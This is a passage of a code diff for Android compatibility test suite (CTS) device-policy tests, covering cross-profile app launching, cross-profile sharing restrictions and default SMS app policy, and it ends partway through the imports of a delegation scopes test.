     public void startMainActivity_callingFromWorkProfile_targetIsPrimaryUser_launches() {
         sCrossProfileApps.startMainActivity(
                 new ComponentName(sContext, MainActivity.class),
@@ -144,7 +150,6 @@
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
     @Ignore // TODO(scottjonathan): Replace use of UIAutomator
-    @Postsubmit(reason="new test")
     public void startMainActivity_callingFromPrimaryUser_targetIsWorkProfile_launches() {
         sCrossProfileApps.startMainActivity(
                 new ComponentName(sContext, MainActivity.class),
@@ -169,7 +174,6 @@
     }
 
     @Test
-    @Postsubmit(reason="new test")
     public void startMainActivity_activityNotExported_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.startMainActivity(
@@ -179,7 +183,6 @@
     }
 
     @Test
-    @Postsubmit(reason="new test")
     public void startMainActivity_activityNotMain_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.startMainActivity(
@@ -190,7 +193,6 @@
 
     @Test
     @Ignore // TODO(scottjonathan): This requires another app to be installed which can be launched
-    @Postsubmit(reason="new test")
     public void startMainActivity_activityIncorrectPackage_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
 
@@ -199,7 +201,6 @@
 
     @Test
     @RequireRunOnPrimaryUser
-    @Postsubmit(reason="new test")
     public void
             startMainActivity_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
@@ -212,7 +213,6 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
-    @Postsubmit(reason="new test")
     public void
     startMainActivity_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
@@ -225,7 +225,6 @@
     @Test
     @RequireRunOnSecondaryUser
     @EnsureHasWorkProfile(forUser = PRIMARY_USER)
-    @Postsubmit(reason="new test")
     public void
     startMainActivity_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
@@ -237,7 +236,6 @@
 
     @Test
     @RequireRunOnPrimaryUser
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.primaryUser().userHandle());
@@ -247,7 +245,6 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.primaryUser().userHandle());
@@ -257,7 +254,6 @@
     @Test
     @RequireRunOnSecondaryUser
     @EnsureHasWorkProfile(forUser = PRIMARY_USER)
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingLabel(
@@ -267,7 +263,6 @@
 
     @Test
     @RequireRunOnWorkProfile(installInstrumentedAppInParent = TRUE)
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromWorProfile_targetIsPrimaryUser_notNull() {
         assertThat(sCrossProfileApps.getProfileSwitchingLabel(
                 sDeviceState.primaryUser().userHandle())).isNotNull();
@@ -276,7 +271,6 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
         assertThat(sCrossProfileApps.getProfileSwitchingLabel(
                 sDeviceState.workProfile().userHandle())).isNotNull();
@@ -284,7 +278,6 @@
 
     @Test
     @RequireRunOnPrimaryUser
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingIconDrawable(
@@ -295,7 +288,6 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingIconDrawable(
@@ -306,7 +298,6 @@
     @Test
     @RequireRunOnSecondaryUser
     @EnsureHasWorkProfile(forUser = PRIMARY_USER)
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabelIconDrawable_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingIconDrawable(
@@ -316,7 +307,6 @@
 
     @Test
     @RequireRunOnWorkProfile(installInstrumentedAppInParent = TRUE)
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingIconDrawable_callingFromWorkProfile_targetIsPrimaryUser_notNull() {
         assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
                 sDeviceState.primaryUser().userHandle())).isNotNull();
@@ -325,9 +315,152 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    @Postsubmit(reason="new test")
     public void getProfileSwitchingIconDrawable_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
         assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
                 sDeviceState.workProfile().userHandle())).isNotNull();
     }
+
+    @Ignore("b/199122256 investigate install failure")
+    @Test
+    @EnsureHasWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_fromPersonalProfile_returnsTrue()
+            throws Exception {
+        RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
+                .devicePolicyManager();
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
+                sDeviceState.primaryUser());
+             TestAppInstance workApp = sCrossProfileTestApp.install(
+                sDeviceState.workProfile())) {
+            profileOwner.setCrossProfilePackages(
+                    sDeviceState.profileOwner(WORK_PROFILE).componentName(),
+                    Set.of(sCrossProfileTestApp.packageName()));
+
+            assertThat(personalApp.crossProfileApps().canRequestInteractAcrossProfiles()).isTrue();
+        }
+    }
+
+    @Ignore("b/199122256 investigate install failure")
+    @Test
+    @EnsureHasWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_fromWorkProfile_returnsTrue()
+            throws Exception {
+        RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
+                .devicePolicyManager();
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
+                sDeviceState.primaryUser());
+             TestAppInstance workApp = sCrossProfileTestApp.install(
+                sDeviceState.workProfile())) {
+            profileOwner.setCrossProfilePackages(
+                    sDeviceState.profileOwner(WORK_PROFILE).componentName(),
+                    Set.of(sCrossProfileTestApp.packageName()));
+
+            assertThat(workApp.crossProfileApps().canRequestInteractAcrossProfiles()).isTrue();
+        }
+    }
+
+    @Test
+    @EnsureHasNoWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_noOtherProfiles_returnsFalse()
+            throws Exception {
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
+                sDeviceState.primaryUser())) {
+
+            assertThat(personalApp.crossProfileApps().canRequestInteractAcrossProfiles()).isFalse();
+        }
+    }
+
+    @Ignore("b/199122256 investigate install failure")
+    @Test
+    @EnsureHasWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_packageNotInAllowList_returnsTrue()
+            throws Exception {
+        RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
+                .devicePolicyManager();
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
+                sDeviceState.primaryUser());
+             TestAppInstance workApp = sCrossProfileTestApp.install(
+                sDeviceState.workProfile())) {
+            profileOwner.setCrossProfilePackages(
+                    sDeviceState.profileOwner(WORK_PROFILE).componentName(),
+                    Collections.emptySet());
+
+            assertThat(personalApp.crossProfileApps().canRequestInteractAcrossProfiles()).isTrue();
+        }
+    }
+
+    @Ignore("b/199122256 investigate install failure")
+    @Test
+    @EnsureHasWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_packageNotInstalledInPersonalProfile_returnsTrue()
+            throws Exception {
+        RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
+                .devicePolicyManager();
+        try (TestAppInstance workApp = sCrossProfileTestApp.install(
+                sDeviceState.workProfile())) {
+            profileOwner.setCrossProfilePackages(
+                    sDeviceState.profileOwner(WORK_PROFILE).componentName(),
+                    Set.of(sCrossProfileTestApp.packageName()));
+
+            assertThat(workApp.crossProfileApps().canRequestInteractAcrossProfiles()).isTrue();
+        }
+    }
+
+    @Test
+    @EnsureHasWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_packageNotInstalledInWorkProfile_returnsTrue()
+            throws Exception {
+        RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
+                .devicePolicyManager();
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
+                sDeviceState.primaryUser())) {
+            profileOwner.setCrossProfilePackages(
+                    sDeviceState.profileOwner(WORK_PROFILE).componentName(),
+                    Set.of(sCrossProfileTestApp.packageName()));
+
+            assertThat(personalApp.crossProfileApps().canRequestInteractAcrossProfiles()).isTrue();
+        }
+    }
+
+    @Ignore("b/199122256 investigate install failure")
+    @Test
+    @EnsureHasWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_permissionNotRequested_returnsFalse()
+            throws Exception {
+        RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
+                .devicePolicyManager();
+        try (TestAppInstance personalApp = sNonCrossProfileTestApp.install(
+                sDeviceState.primaryUser());
+             TestAppInstance workApp = sNonCrossProfileTestApp.install(
+                sDeviceState.workProfile())) {
+            profileOwner.setCrossProfilePackages(
+                    sDeviceState.profileOwner(WORK_PROFILE).componentName(),
+                    Set.of(sCrossProfileTestApp.packageName()));
+
+            assertThat(personalApp.crossProfileApps().canRequestInteractAcrossProfiles()).isFalse();
+        }
+    }
+
+    // TODO(b/199148889): add require INTERACT_ACROSS_PROFILE permission for the dpc.
+    @Test
+    @EnsureHasWorkProfile
+    @RequireRunOnPrimaryUser
+    public void canRequestInteractAcrossProfiles_profileOwner_returnsFalse()
+            throws Exception {
+        RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
+                .devicePolicyManager();
+        profileOwner.setCrossProfilePackages(
+                sDeviceState.profileOwner(WORK_PROFILE).componentName(),
+                Set.of(sDeviceState.profileOwner(WORK_PROFILE).componentName().getPackageName()));
+
+        assertThat(
+                sDeviceState.profileOwner(WORK_PROFILE).crossProfileApps()
+                        .canRequestInteractAcrossProfiles()).isFalse();
+    }
 }
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
new file mode 100644
index 0000000..3aaee38
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
@@ -0,0 +1,266 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.app.admin.DevicePolicyManager.ACTION_DATA_SHARING_RESTRICTION_APPLIED;
+import static android.app.admin.DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT;
+import static android.app.admin.DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED;
+import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
+import static android.os.UserManager.DISALLOW_SHARE_INTO_MANAGED_PROFILE;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.PRIMARY_USER;
+import static com.android.bedstead.harrier.DeviceState.UserType.WORK_PROFILE;
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+import static com.android.queryable.queries.ActivityQuery.activity;
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ResolveInfo;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(BedsteadJUnit4.class)
+public final class CrossProfileSharingTest {
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+
+    private static final TestApp sTestApp = sTestAppProvider.query().whereActivities().contains(
+            activity().intentFilters().contains(
+                    intentFilter().actions().contains("com.android.testapp.SOME_ACTION"),
+                    intentFilter().actions().contains("android.intent.action.PICK")
+            )
+    ).get();
+
+    // Known action that is handled in the opposite profile, used to query forwarder activity.
+    private static final String CROSS_PROFILE_ACTION = "com.android.testapp.SOME_ACTION";
+
+    // TODO(b/191640667): use parametrization instead of looping once available.
+    // These are the data sharing intents which can be forwarded to the primary profile.
+    private static final Intent[] OPENING_INTENTS = {
+            new Intent(Intent.ACTION_GET_CONTENT).setType("*/*").addCategory(
+                    Intent.CATEGORY_OPENABLE),
+            new Intent(Intent.ACTION_OPEN_DOCUMENT).setType("*/*").addCategory(
+                    Intent.CATEGORY_OPENABLE),
+            new Intent(Intent.ACTION_PICK).setType("*/*").addCategory(
+                    Intent.CATEGORY_DEFAULT),
+            new Intent(Intent.ACTION_PICK).addCategory(Intent.CATEGORY_DEFAULT)
+    };
+
+    // These are the data sharing intents which can be forwarded to the managed profile.
+    private static final Intent[] SHARING_INTENTS = {
+            new Intent(Intent.ACTION_SEND).setType("*/*"),
+            new Intent(Intent.ACTION_SEND_MULTIPLE).setType("*/*")
+    };
+
+    /**
+     * Test sharing initiated from the profile side i.e. user tries to pick up personal data within
+     * a work app when DISALLOW_SHARE_INTO_MANAGED_PROFILE is enforced.
+     */
+    @Test
+    @Postsubmit(reason = "new test")
+    @RequireRunOnWorkProfile
+    public void openingPersonalFromProfile_disallowShareIntoProfile_restrictionApplied() {
+        ResolveInfo toPersonalForwarderInfo = getWorkToPersonalForwarder();
+
+        // Enforce the restriction and wait for it to be applied.
+        setSharingIntoProfileEnabled(false);
+        // Test app handles android.intent.action.PICK just in case no other app does.
+        try (TestAppInstance testAppParent =
+                     sTestApp.install(sDeviceState.primaryUser())) {
+            // Verify that the intents don't resolve into cross-profile forwarder.
+            assertCrossProfileIntentsResolvability(OPENING_INTENTS,
+                    toPersonalForwarderInfo, /* expectForwardable */ false);
+        } finally {
+            // Restore default state.
+            setSharingIntoProfileEnabled(true);
+        }
+    }
+
+    /**
+     * Test sharing initiated from the profile side i.e. user tries to pick up personal data within
+     * a work app when DISALLOW_SHARE_INTO_MANAGED_PROFILE is NOT enforced.
+     */
+    @Test
+    @Postsubmit(reason = "new test")
+    @RequireRunOnWorkProfile
+    public void openingPersonalFromProfile_disallowShareIntoProfile_restrictionRemoved() {
+        ResolveInfo workToPersonalForwarder = getWorkToPersonalForwarder();
+
+        // Enforce the restriction and wait for it to be applied, then remove it and wait again.
+        setSharingIntoProfileEnabled(false);
+        setSharingIntoProfileEnabled(true);
+
+        // Test app handles android.intent.action.PICK just in case no other app does.
+        try (TestAppInstance testAppParent =
+                     sTestApp.install(sDeviceState.primaryUser())) {
+            // Verify that the intents resolve into cross-profile forwarder.
+            assertCrossProfileIntentsResolvability(
+                    OPENING_INTENTS, workToPersonalForwarder, /* expectForwardable */ true);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    public void sharingFromPersonalToWork_disallowShareIntoProfile_restrictionApplied() {
+        ResolveInfo personalToWorkForwarder = getPersonalToWorkForwarder();
+
+        // Enforce the restriction and wait for it to be applied.
+        setSharingIntoProfileEnabled(false);
+
+        try {
+            // Verify that sharing intent doesn't get resolve into profile forwarder.
+            assertCrossProfileIntentsResolvability(
+                    SHARING_INTENTS, personalToWorkForwarder, /* expectForwardable */ false);
+        } finally {
+            setSharingIntoProfileEnabled(true);
+        }
+
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    public void sharingFromPersonalToWork_disallowShareIntoProfile_restrictionRemoved() {
+        ResolveInfo personalToWorkForwarder = getPersonalToWorkForwarder();
+
+        // Enforce the restriction and wait for it to be applied, then remove it and wait again.
+        setSharingIntoProfileEnabled(false);
+        setSharingIntoProfileEnabled(true);
+
+        // Verify that sharing intent gets resolved into profile forwarder successfully.
+        assertCrossProfileIntentsResolvability(
+                SHARING_INTENTS, personalToWorkForwarder, /* expectForwardable */ true);
+    }
+
+    private ResolveInfo getPersonalToWorkForwarder() {
+        return getResolveInfo(sDeviceState.workProfile(), FLAG_MANAGED_CAN_ACCESS_PARENT);
+    }
+
+    private ResolveInfo getWorkToPersonalForwarder() {
+        return getResolveInfo(sDeviceState.primaryUser(), FLAG_PARENT_CAN_ACCESS_MANAGED);
+    }
+
+    /**
+     * Finds ResolveInfo for a system activity that forwards cross-profile intent by resolving an
+     * intent that it handled in one profile from the other profile.
+     * TODO(b/198759180): replace it with a @TestApi
+     */
+    private ResolveInfo getResolveInfo(UserReference targetProfile, int direction) {
+        ResolveInfo forwarderInfo;
+        try (TestAppInstance testApp = sTestApp.install(targetProfile)) {
+            // Set up cross profile intent filters so we can resolve these to find out framework's
+            // intent forwarder activity as ground truth
+            sDeviceState.profileOwner(WORK_PROFILE).devicePolicyManager()
+                    .addCrossProfileIntentFilter(DPC_COMPONENT_NAME,
+                            new IntentFilter(CROSS_PROFILE_ACTION), direction);
+            try {
+                forwarderInfo = getCrossProfileIntentForwarder(new Intent(CROSS_PROFILE_ACTION));
+            } finally {
+                sDeviceState.profileOwner(WORK_PROFILE).devicePolicyManager()
+                        .clearCrossProfileIntentFilters(DPC_COMPONENT_NAME);
+            }
+        }
+        return forwarderInfo;
+    }
+
+    private ResolveInfo getCrossProfileIntentForwarder(Intent intent) {
+        List<ResolveInfo> result = TestApis.context().instrumentedContext().getPackageManager()
+                .queryIntentActivities(intent, MATCH_DEFAULT_ONLY);
+        assertWithMessage("Failed to get intent forwarder component")
+                .that(result.size()).isEqualTo(1);
+        ResolveInfo forwarder = result.get(0);
+        assertWithMessage("Forwarder doesn't consider itself as such")
+                .that(forwarder.isCrossProfileIntentForwarderActivity()).isTrue();
+        return forwarder;
+    }
+
+    private void setSharingIntoProfileEnabled(boolean enabled) {
+        RemoteDpc remoteDpc = sDeviceState.profileOwner(WORK_PROFILE);
+        IntentFilter filter = new IntentFilter(ACTION_DATA_SHARING_RESTRICTION_APPLIED);
+        Context remoteCtx = TestApis.context().androidContextAsUser(remoteDpc.user());
+        try (PermissionContext permissionContext =
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL);
+             BlockingBroadcastReceiver receiver =
+                     BlockingBroadcastReceiver.create(remoteCtx, filter).register()) {
+            if (enabled) {
+                remoteDpc.devicePolicyManager().clearUserRestriction(
+                        DPC_COMPONENT_NAME, DISALLOW_SHARE_INTO_MANAGED_PROFILE);
+            } else {
+                remoteDpc.devicePolicyManager().addUserRestriction(
+                        DPC_COMPONENT_NAME, DISALLOW_SHARE_INTO_MANAGED_PROFILE);
+            }
+        }
+    }
+
+    private void assertCrossProfileIntentsResolvability(
+            Intent[] intents, ResolveInfo expectedForwarder, boolean expectForwardable) {
+        for (Intent intent : intents) {
+            List<ResolveInfo> resolveInfoList = TestApis.context().instrumentedContext()
+                    .getPackageManager().queryIntentActivities(intent, MATCH_DEFAULT_ONLY);
+            if (expectForwardable) {
+                assertWithMessage(String.format(
+                        "Expect %s to be forwardable, but resolve list does not contain expected "
+                                + "intent forwarder %s", intent, expectedForwarder))
+                        .that(containsResolveInfo(resolveInfoList, expectedForwarder)).isTrue();
+            } else {
+                assertWithMessage(String.format(
+                        "Expect %s not to be forwardable, but resolve list contains intent "
+                                + "forwarder %s", intent, expectedForwarder))
+                        .that(containsResolveInfo(resolveInfoList, expectedForwarder)).isFalse();
+            }
+        }
+    }
+
+    private boolean containsResolveInfo(List<ResolveInfo> list, ResolveInfo info) {
+        for (ResolveInfo entry : list) {
+            if (entry.activityInfo.packageName.equals(info.activityInfo.packageName)
+                    && entry.activityInfo.name.equals(info.activityInfo.name)) {
+                return true;
+            }
+        }
+        return false;
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
new file mode 100644
index 0000000..99c539c
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.provider.Telephony;
+import android.telephony.TelephonyManager;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.DefaultSmsApplication;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+// TODO(b/198442101): Add tests for the COPE case when we can sideload system apps
+@RunWith(BedsteadJUnit4.class)
+public final class DefaultSmsApplicationTest {
+    @ClassRule
+    @Rule
+    public static DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sSmsApp = sTestAppProvider
+            .query()
+            .wherePackageName()
+            // TODO(b/198420874): Query for the intent filters relevant to the SMS tests
+            .isEqualTo("com.android.bedstead.testapp.SmsApp")
+            .get();
+    private static final String FAKE_SMS_APP_NAME = "FakeSmsAppName";
+
+    private ComponentName mAdmin;
+    private RemoteDevicePolicyManager mDpm;
+    private TelephonyManager mTelephonyManager;
+
+    @Before
+    public void setUp() {
+        RemotePolicyManager dpc = sDeviceState.dpc();
+        mAdmin = dpc.componentName();
+        mDpm = dpc.devicePolicyManager();
+        mTelephonyManager = sContext.getSystemService(TelephonyManager.class);
+    }
+
+    // TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = DefaultSmsApplication.class)
+    public void setDefaultSmsApplication_works() {
+        assumeTrue(mTelephonyManager.isSmsCapable());
+        String previousSmsAppName = getDefaultSmsPackage();
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+            mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
+
+            assertThat(getDefaultSmsPackage()).isEqualTo(smsApp.packageName());
+        } finally {
+            mDpm.setDefaultSmsApplication(mAdmin, previousSmsAppName);
+        }
+    }
+
+    // TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable
+    @Test
+    @Postsubmit(reason = "new test")
+    @NegativePolicyTest(policy = DefaultSmsApplication.class)
+    public void setDefaultSmsApplication_unchanged() {
+        assumeTrue(mTelephonyManager.isSmsCapable());
+        String previousSmsAppName = getDefaultSmsPackage();
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+            mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
+
+            assertThat(getDefaultSmsPackage()).isEqualTo(previousSmsAppName);
+        } finally {
+            mDpm.setDefaultSmsApplication(mAdmin, previousSmsAppName);
+        }
+    }
+
+    // TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = DefaultSmsApplication.class)
+    public void setDefaultSmsApplication_smsPackageDoesNotExist_unchanged() {
+        assumeTrue(mTelephonyManager.isSmsCapable());
+        String previousSmsAppName = getDefaultSmsPackage();
+
+        mDpm.setDefaultSmsApplication(mAdmin, FAKE_SMS_APP_NAME);
+
+        try {
+            assertThat(getDefaultSmsPackage()).isEqualTo(previousSmsAppName);
+        } finally {
+            mDpm.setDefaultSmsApplication(mAdmin, previousSmsAppName);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = DefaultSmsApplication.class)
+    public void setDefaultSmsApplication_nullAdmin_throwsException() {
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+
+            assertThrows(NullPointerException.class, () ->
+                    mDpm.setDefaultSmsApplication(
+                            /* admin= */ null, smsApp.packageName()));
+        }
+    }
+
+    // TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = DefaultSmsApplication.class)
+    public void setDefaultSmsApplication_notSmsCapable_unchanged() {
+        assumeTrue(!mTelephonyManager.isSmsCapable());
+        String previousSmsAppName = getDefaultSmsPackage();
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+            mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
+
+            assertThat(getDefaultSmsPackage()).isEqualTo(previousSmsAppName);
+        } finally {
+            mDpm.setDefaultSmsApplication(mAdmin, previousSmsAppName);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = DefaultSmsApplication.class, includeNonDeviceAdminStates = false)
+    public void setDefaultSmsApplication_invalidAdmin_throwsException() {
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+
+            assertThrows(SecurityException.class, () ->
+                    mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName()));
+        }
+    }
+
+    private String getDefaultSmsPackage() {
+        return Telephony.Sms.getDefaultSmsPackage(sContext);
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java
new file mode 100644
index 0000000..77530c8
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java
@@ -0,0 +1,454 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
